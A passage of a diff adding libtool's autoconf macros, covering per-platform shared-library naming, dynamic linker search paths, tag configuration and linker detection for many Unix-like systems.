sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi + ;; + pw32*) + # pw32 DLLs use 'pw' prefix rather than 'lib' + library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + ;; + esac + ;; + + *) + library_names_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext} $libname.lib' + ;; + esac + dynamic_linker='Win32 ld.exe' + # FIXME: first we should search . and the directory the executable is in + shlibpath_var=PATH + ;; + +darwin* | rhapsody*) + dynamic_linker="$host_os dyld" + version_type=darwin + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext' + soname_spec='${libname}${release}${major}$shared_ext' + shlibpath_overrides_runpath=yes + shlibpath_var=DYLD_LIBRARY_PATH + shrext_cmds='$(test .$module = .yes && echo .so || echo .dylib)' + # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same. + if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` + else + sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib' + fi + sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' + ;; + +dgux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +freebsd1*) + dynamic_linker=no + ;; + +kfreebsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +freebsd*) + objformat=`test -x /usr/bin/objformat && /usr/bin/objformat || echo aout` + version_type=freebsd-$objformat + case $version_type in + freebsd-elf*) + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' + need_version=no + need_lib_prefix=no + ;; + freebsd-*) + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' + need_version=yes + ;; + esac + shlibpath_var=LD_LIBRARY_PATH + case $host_os in + freebsd2*) + shlibpath_overrides_runpath=yes + ;; + freebsd3.[01]* | freebsdelf3.[01]*) + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + *) # from 3.2 on + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + esac + ;; + +gnu*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + hardcode_into_libs=yes + ;; + +hpux9* | hpux10* | hpux11*) + # Give a soname corresponding to the major version so that dld.sl refuses to + # link against other versions. + version_type=sunos + need_lib_prefix=no + need_version=no + case "$host_cpu" in + ia64*) + shrext_cmds='.so' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + if test "X$HPUX_IA64_MODE" = X32; then + sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" + else + sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" + fi + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + hppa*64*) + shrext_cmds='.sl' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + *) + shrext_cmds='.sl' + dynamic_linker="$host_os dld.sl" + shlibpath_var=SHLIB_PATH + shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + ;; + esac + # HP-UX runs *really* slowly unless shared libraries are mode 555. + postinstall_cmds='chmod 555 $lib' + ;; + +irix5* | irix6* | nonstopux*) + case $host_os in + nonstopux*) version_type=nonstopux ;; + *) + if test "$lt_cv_prog_gnu_ld" = yes; then + version_type=linux + else + version_type=irix + fi ;; + esac + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' + case $host_os in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in # libtool.m4 will add one of these switches to LD + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") + libsuff= shlibsuff= libmagic=32-bit;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") + libsuff=32 shlibsuff=N32 libmagic=N32;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") + libsuff=64 shlibsuff=64 libmagic=64-bit;; + *) libsuff= shlibsuff= libmagic=never-match;; + esac + ;; + esac + shlibpath_var=LD_LIBRARY${shlibsuff}_PATH + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" + sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" + hardcode_into_libs=yes + ;; + +# No shared lib support for Linux oldld, aout, or coff. +linux*oldld* | linux*aout* | linux*coff*) + dynamic_linker=no + ;; + +# This must be Linux ELF. +linux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + # Append ld.so.conf contents to the search path + if test -f /etc/ld.so.conf; then + lt_ld_extra=`$SED -e 's/[:,\t]/ /g;s/=[^=]*$//;s/=[^= ]* / /g' /etc/ld.so.conf | tr '\n' ' '` + sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra" + fi + + # We used to test for /lib/ld.so.1 and disable shared libraries on + # powerpc, because MkLinux only supported shared libraries with the + # GNU dynamic linker. Since this was broken with cross compilers, + # most powerpc-linux boxes support dynamic linking these days and + # people can always --disable-shared, the test was removed, and we + # assume the GNU/Linux dynamic linker is in use. + dynamic_linker='GNU/Linux ld.so' + ;; + +knetbsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +netbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + dynamic_linker='NetBSD (a.out) ld.so' + else + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + dynamic_linker='NetBSD ld.elf_so' + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + +newsos6) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +nto-qnx*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +openbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + shlibpath_var=LD_LIBRARY_PATH + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + case $host_os in + openbsd2.[[89]] | openbsd2.[[89]].*) + shlibpath_overrides_runpath=no + ;; + *) + shlibpath_overrides_runpath=yes + ;; + esac + else + shlibpath_overrides_runpath=yes + fi + ;; + +os2*) + libname_spec='$name' + shrext_cmds=".dll" + need_lib_prefix=no + library_names_spec='$libname${shared_ext} $libname.a' + dynamic_linker='OS/2 ld.exe' + shlibpath_var=LIBPATH + ;; + +osf3* | osf4* | osf5*) + version_type=osf + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" + sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" + ;; + +sco3.2v5*) + version_type=osf + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + ;; + +solaris*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; + +sunos4*) + version_type=sunos + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + if test "$with_gnu_ld" = yes; then + need_lib_prefix=no + fi + need_version=yes + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + case $host_vendor in + sni) + shlibpath_overrides_runpath=no + need_lib_prefix=no + export_dynamic_flag_spec='${wl}-Blargedynsym' + runpath_var=LD_RUN_PATH + ;; + siemens) + need_lib_prefix=no + ;; + motorola) + need_lib_prefix=no + need_version=no + shlibpath_overrides_runpath=no + sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' + ;; + esac + ;; + +sysv4*MP*) + if test -d /usr/nec ;then + version_type=linux + library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' + soname_spec='$libname${shared_ext}.$major' + shlibpath_var=LD_LIBRARY_PATH + fi + ;; + +uts4*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +*) + dynamic_linker=no + ;; +esac +AC_MSG_RESULT([$dynamic_linker]) +test "$dynamic_linker" = no && can_build_shared=no +])# AC_LIBTOOL_SYS_DYNAMIC_LINKER + + +# _LT_AC_TAGCONFIG +# ---------------- +AC_DEFUN([_LT_AC_TAGCONFIG], +[AC_ARG_WITH([tags], + [AC_HELP_STRING([--with-tags@<:@=TAGS@:>@], + [include additional configurations @<:@automatic@:>@])], + [tagnames="$withval"]) + +if test -f "$ltmain" && test -n "$tagnames"; then + if test ! -f "${ofile}"; then + AC_MSG_WARN([output file `$ofile' does not exist]) + fi + + if test -z "$LTCC"; then + eval "`$SHELL ${ofile} --config | grep '^LTCC='`" + if test -z "$LTCC"; then + AC_MSG_WARN([output file `$ofile' does not look like a libtool script]) + else + AC_MSG_WARN([using `LTCC=$LTCC', extracted from `$ofile']) + fi + fi + + # Extract list of available tagged configurations in $ofile. + # Note that this assumes the entire list is on one line. + available_tags=`grep "^available_tags=" "${ofile}" | $SED -e 's/available_tags=\(.*$\)/\1/' -e 's/\"//g'` + + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for tagname in $tagnames; do + IFS="$lt_save_ifs" + # Check whether tagname contains only valid characters + case `$echo "X$tagname" | $Xsed -e 's:[[-_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890,/]]::g'` in + "") ;; + *) AC_MSG_ERROR([invalid tag name: $tagname]) + ;; + esac + + if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "${ofile}" > /dev/null + then + AC_MSG_ERROR([tag name \"$tagname\" already exists]) + fi + + # Update the list of available tags. + if test -n "$tagname"; then + echo appending configuration tag \"$tagname\" to $ofile + + case $tagname in + CXX) + if test -n "$CXX" && test "X$CXX" != "Xno"; then + AC_LIBTOOL_LANG_CXX_CONFIG + else + tagname="" + fi + ;; + + F77) + if test -n "$F77" && test "X$F77" != "Xno"; then + AC_LIBTOOL_LANG_F77_CONFIG + else + tagname="" + fi + ;; + + GCJ) + if test -n "$GCJ" && test "X$GCJ" != "Xno"; then + AC_LIBTOOL_LANG_GCJ_CONFIG + else + tagname="" + fi + ;; + + RC) + AC_LIBTOOL_LANG_RC_CONFIG + ;; + + *) + AC_MSG_ERROR([Unsupported tag name: $tagname]) + ;; + esac + + # Append the new tag name to the list of available tags. + if test -n "$tagname" ; then + available_tags="$available_tags $tagname" + fi + fi + done + IFS="$lt_save_ifs" + + # Now substitute the updated list of available tags. + if eval "sed -e 's/^available_tags=.*\$/available_tags=\"$available_tags\"/' \"$ofile\" > \"${ofile}T\""; then + mv "${ofile}T" "$ofile" + chmod +x "$ofile" + else + rm -f "${ofile}T" + AC_MSG_ERROR([unable to update list of available tagged configurations.]) + fi +fi +])# _LT_AC_TAGCONFIG + + +# AC_LIBTOOL_DLOPEN +# ----------------- +# enable checks for dlopen support +AC_DEFUN([AC_LIBTOOL_DLOPEN], + [AC_BEFORE([$0],[AC_LIBTOOL_SETUP]) +])# AC_LIBTOOL_DLOPEN + + +# AC_LIBTOOL_WIN32_DLL +# -------------------- +# declare package support for building win32 dll's +AC_DEFUN([AC_LIBTOOL_WIN32_DLL], +[AC_BEFORE([$0], [AC_LIBTOOL_SETUP]) +])# AC_LIBTOOL_WIN32_DLL + + +# AC_ENABLE_SHARED([DEFAULT]) +# --------------------------- +# implement the --enable-shared flag +# DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. +AC_DEFUN([AC_ENABLE_SHARED], +[define([AC_ENABLE_SHARED_DEFAULT], ifelse($1, no, no, yes))dnl +AC_ARG_ENABLE([shared], + [AC_HELP_STRING([--enable-shared@<:@=PKGS@:>@], + [build shared libraries @<:@default=]AC_ENABLE_SHARED_DEFAULT[@:>@])], + [p=${PACKAGE-default} + case $enableval in + yes) enable_shared=yes ;; + no) enable_shared=no ;; + *) + enable_shared=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_shared=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac], + [enable_shared=]AC_ENABLE_SHARED_DEFAULT) +])# AC_ENABLE_SHARED + + +# AC_DISABLE_SHARED +# ----------------- +#- set the default shared flag to --disable-shared +AC_DEFUN([AC_DISABLE_SHARED], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl +AC_ENABLE_SHARED(no) +])# AC_DISABLE_SHARED + + +# AC_ENABLE_STATIC([DEFAULT]) +# --------------------------- +# implement the --enable-static flag +# DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. +AC_DEFUN([AC_ENABLE_STATIC], +[define([AC_ENABLE_STATIC_DEFAULT], ifelse($1, no, no, yes))dnl +AC_ARG_ENABLE([static], + [AC_HELP_STRING([--enable-static@<:@=PKGS@:>@], + [build static libraries @<:@default=]AC_ENABLE_STATIC_DEFAULT[@:>@])], + [p=${PACKAGE-default} + case $enableval in + yes) enable_static=yes ;; + no) enable_static=no ;; + *) + enable_static=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_static=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac], + [enable_static=]AC_ENABLE_STATIC_DEFAULT) +])# AC_ENABLE_STATIC + + +# AC_DISABLE_STATIC +# ----------------- +# set the default static flag to --disable-static +AC_DEFUN([AC_DISABLE_STATIC], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl +AC_ENABLE_STATIC(no) +])# AC_DISABLE_STATIC + + +# AC_ENABLE_FAST_INSTALL([DEFAULT]) +# --------------------------------- +# implement the --enable-fast-install flag +# DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. +AC_DEFUN([AC_ENABLE_FAST_INSTALL], +[define([AC_ENABLE_FAST_INSTALL_DEFAULT], ifelse($1, no, no, yes))dnl +AC_ARG_ENABLE([fast-install], + [AC_HELP_STRING([--enable-fast-install@<:@=PKGS@:>@], + [optimize for fast installation @<:@default=]AC_ENABLE_FAST_INSTALL_DEFAULT[@:>@])], + [p=${PACKAGE-default} + case $enableval in + yes) enable_fast_install=yes ;; + no) enable_fast_install=no ;; + *) + enable_fast_install=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_fast_install=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac], + [enable_fast_install=]AC_ENABLE_FAST_INSTALL_DEFAULT) +])# AC_ENABLE_FAST_INSTALL + + +# AC_DISABLE_FAST_INSTALL +# ----------------------- +# set the default to --disable-fast-install +AC_DEFUN([AC_DISABLE_FAST_INSTALL], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl +AC_ENABLE_FAST_INSTALL(no) +])# AC_DISABLE_FAST_INSTALL + + +# AC_LIBTOOL_PICMODE([MODE]) +# -------------------------- +# implement the --with-pic flag +# MODE is either `yes' or `no'. If omitted, it defaults to `both'. +AC_DEFUN([AC_LIBTOOL_PICMODE], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl +pic_mode=ifelse($#,1,$1,default) +])# AC_LIBTOOL_PICMODE + + +# AC_PROG_EGREP +# ------------- +# This is predefined starting with Autoconf 2.54, so this conditional +# definition can be removed once we require Autoconf 2.54 or later. +m4_ifndef([AC_PROG_EGREP], [AC_DEFUN([AC_PROG_EGREP], +[AC_CACHE_CHECK([for egrep], [ac_cv_prog_egrep], + [if echo a | (grep -E '(a|b)') >/dev/null 2>&1 + then ac_cv_prog_egrep='grep -E' + else ac_cv_prog_egrep='egrep' + fi]) + EGREP=$ac_cv_prog_egrep + AC_SUBST([EGREP]) +])]) + + +# AC_PATH_TOOL_PREFIX +# ------------------- +# find a file program which can recognise shared library +AC_DEFUN([AC_PATH_TOOL_PREFIX], +[AC_REQUIRE([AC_PROG_EGREP])dnl +AC_MSG_CHECKING([for $1]) +AC_CACHE_VAL(lt_cv_path_MAGIC_CMD, +[case $MAGIC_CMD in +[[\\/*] | ?:[\\/]*]) + lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path. + ;; +*) + lt_save_MAGIC_CMD="$MAGIC_CMD" + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR +dnl $ac_dummy forces splitting on constant user-supplied paths. +dnl POSIX.2 word splitting is done only on the output of word expansions, +dnl not every word. This closes a longstanding sh security hole. + ac_dummy="ifelse([$2], , $PATH, [$2])" + for ac_dir in $ac_dummy; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$1; then + lt_cv_path_MAGIC_CMD="$ac_dir/$1" + if test -n "$file_magic_test_file"; then + case $deplibs_check_method in + "file_magic "*) + file_magic_regex="`expr \"$deplibs_check_method\" : \"file_magic \(.*\)\"`" + MAGIC_CMD="$lt_cv_path_MAGIC_CMD" + if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | + $EGREP "$file_magic_regex" > /dev/null; then + : + else + cat <<EOF 1>&2 + +*** Warning: the command libtool uses to detect shared libraries, +*** $file_magic_cmd, produces output that libtool cannot recognize. +*** The result is that libtool may fail to recognize shared libraries +*** as such. This will affect the creation of libtool libraries that +*** depend on shared libraries, but programs linked with such libtool +*** libraries will work regardless of this problem. Nevertheless, you +*** may want to report the problem to your system manager and/or to +*** bug-libtool@gnu.org + +EOF + fi ;; + esac + fi + break + fi + done + IFS="$lt_save_ifs" + MAGIC_CMD="$lt_save_MAGIC_CMD" + ;; +esac]) +MAGIC_CMD="$lt_cv_path_MAGIC_CMD" +if test -n "$MAGIC_CMD"; then + AC_MSG_RESULT($MAGIC_CMD) +else + AC_MSG_RESULT(no) +fi +])# AC_PATH_TOOL_PREFIX + + +# AC_PATH_MAGIC +# ------------- +# find a file program which can recognise a shared library +AC_DEFUN([AC_PATH_MAGIC], +[AC_PATH_TOOL_PREFIX(${ac_tool_prefix}file, /usr/bin$PATH_SEPARATOR$PATH) +if test -z "$lt_cv_path_MAGIC_CMD"; then + if test -n "$ac_tool_prefix"; then + AC_PATH_TOOL_PREFIX(file, /usr/bin$PATH_SEPARATOR$PATH) + else + MAGIC_CMD=: + fi +fi +])# AC_PATH_MAGIC + + +# AC_PROG_LD +# ---------- +# find the pathname to the GNU or non-GNU linker +AC_DEFUN([AC_PROG_LD], +[AC_ARG_WITH([gnu-ld], + [AC_HELP_STRING([--with-gnu-ld], + [assume the C compiler uses GNU ld @<:@default=no@:>@])], + [test "$withval" = no || with_gnu_ld=yes], + [with_gnu_ld=no]) +AC_REQUIRE([LT_AC_PROG_SED])dnl +AC_REQUIRE([AC_PROG_CC])dnl +AC_REQUIRE([AC_CANONICAL_HOST])dnl +AC_REQUIRE([AC_CANONICAL_BUILD])dnl +ac_prog=ld +if test "$GCC" = yes; then + # Check if gcc -print-prog-name=ld gives a path. + AC_MSG_CHECKING([for ld used by $CC]) + case $host in + *-*-mingw*) + # gcc leaves a trailing carriage return which upsets mingw + ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; + *) + ac_prog=`($CC -print-prog-name=ld) 2>&5` ;; + esac + case $ac_prog in + # Accept absolute paths. + [[\\/]]* | ?:[[\\/]]*) + re_direlt='/[[^/]][[^/]]*/\.\./' + # Canonicalize the pathname of ld + ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'` + while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do + ac_prog=`echo $ac_prog| $SED "s%$re_direlt%/%"` + done + test -z "$LD" && LD="$ac_prog" + ;; + "") + # If it fails, then pretend we aren't using GCC. + ac_prog=ld + ;; + *) + # If it is relative, then search for the first ld in PATH. + with_gnu_ld=unknown + ;; + esac +elif test "$with_gnu_ld" = yes; then + AC_MSG_CHECKING([for GNU ld]) +else + AC_MSG_CHECKING([for non-GNU ld]) +fi +AC_CACHE_VAL(lt_cv_path_LD, +[if test -z "$LD"; then + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then + lt_cv_path_LD="$ac_dir/$ac_prog" + # Check to see if the program is GNU ld. I'd rather use --version, + # but apparently some GNU ld's only accept -v. + # Break only if it was the GNU/non-GNU ld that we prefer. + case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in + *GNU* | *'with BFD'*) + test "$with_gnu_ld" != no && break + ;; + *) + test "$with_gnu_ld" != yes && break + ;; + esac + fi + done + IFS="$lt_save_ifs" +else + lt_cv_path_LD="$LD" # Let the user override the test with a path. +fi]) +LD="$lt_cv_path_LD" +if test -n "$LD"; then + AC_MSG_RESULT($LD) +else + AC_MSG_RESULT(no) +fi +test -z "$LD" && AC_MSG_ERROR([no acceptable ld found in \$PATH]) +AC_PROG_LD_GNU +])# AC_PROG_LD + + +# AC_PROG_LD_GNU +# -------------- +AC_DEFUN([AC_PROG_LD_GNU], +[AC_REQUIRE([AC_PROG_EGREP])dnl +AC_CACHE_CHECK([if the linker ($LD) is GNU ld], lt_cv_prog_gnu_ld, +[# I'd rather use --version here, but apparently some GNU ld's only accept -v. +case `$LD -v 2>&1 </dev/null` in +*GNU* | *'with BFD'*) + lt_cv_prog_gnu_ld=yes + ;; +*) + lt_cv_prog_gnu_ld=no + ;; +esac]) +with_gnu_ld=$lt_cv_prog_gnu_ld +])# AC_PROG_LD_GNU + + +# AC_PROG_LD_RELOAD_FLAG +# ---------------------- +# find reload flag for linker +# -- PORTME Some linkers may need a different reload flag. +AC_DEFUN([AC_PROG_LD_RELOAD_FLAG], +[AC_CACHE_CHECK([for $LD option to reload object files], + lt_cv_ld_reload_flag, + [lt_cv_ld_reload_flag='-r']) +reload_flag=$lt_cv_ld_reload_flag +case $reload_flag in +"" | " "*) ;; +*) reload_flag=" $reload_flag" ;; +esac +reload_cmds='$LD$reload_flag -o $output$reload_objs' +case $host_os in + darwin*) + if test "$GCC" = yes; then + reload_cmds='$CC -nostdlib ${wl}-r -o $output$reload_objs' + else + reload_cmds='$LD$reload_flag -o $output$reload_objs' + fi + ;; +esac +])# AC_PROG_LD_RELOAD_FLAG + + +# AC_DEPLIBS_CHECK_METHOD +# ----------------------- +# how to check for library dependencies +# -- PORTME fill in with the dynamic library characteristics +AC_DEFUN([AC_DEPLIBS_CHECK_METHOD], +[AC_CACHE_CHECK([how to recognise dependent libraries], +lt_cv_deplibs_check_method, +[lt_cv_file_magic_cmd='$MAGIC_CMD' +lt_cv_file_magic_test_file= +lt_cv_deplibs_check_method='unknown' +# Need to set the preceding variable on all platforms that support +# interlibrary dependencies. +# 'none' -- dependencies not supported. +# `unknown' -- same as none, but documents that we really don't know. +# 'pass_all' -- all dependencies passed with no checks. +# 'test_compile' -- check by making test program. +# 'file_magic [[regex]]' -- check by looking for files in library path +# which responds to the $file_magic_cmd with a given extended regex. +# If you have `file' or equivalent on your system and you're not sure +# whether `pass_all' will *always* work, you probably want this one. + +case $host_os in +aix4* | aix5*) + lt_cv_deplibs_check_method=pass_all + ;; + +beos*) + lt_cv_deplibs_check_method=pass_all + ;; + +bsdi[[45]]*) + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib)' + lt_cv_file_magic_cmd='/usr/bin/file -L' + lt_cv_file_magic_test_file=/shlib/libc.so + ;; + +cygwin*) + # func_win32_libid is a shell function defined in ltmain.sh + lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL' + lt_cv_file_magic_cmd='func_win32_libid' + ;; + +mingw* | pw32*) + # Base MSYS/MinGW do not provide the 'file' command needed by + # func_win32_libid shell function, so use a weaker test based on 'objdump'. + lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?' + lt_cv_file_magic_cmd='$OBJDUMP -f' + ;; + +darwin* | rhapsody*) + lt_cv_deplibs_check_method=pass_all + ;; + +freebsd* | kfreebsd*-gnu) + if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then + case $host_cpu in + i*86 ) + # Not sure whether the presence of OpenBSD here was a mistake. + # Let's accept both of them until this is cleared up. + lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD)/i[[3-9]]86 (compact )?demand paged shared library' + lt_cv_file_magic_cmd=/usr/bin/file + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*` + ;; + esac + else + lt_cv_deplibs_check_method=pass_all + fi + ;; + +gnu*) + lt_cv_deplibs_check_method=pass_all + ;; + +hpux10.20* | hpux11*) + 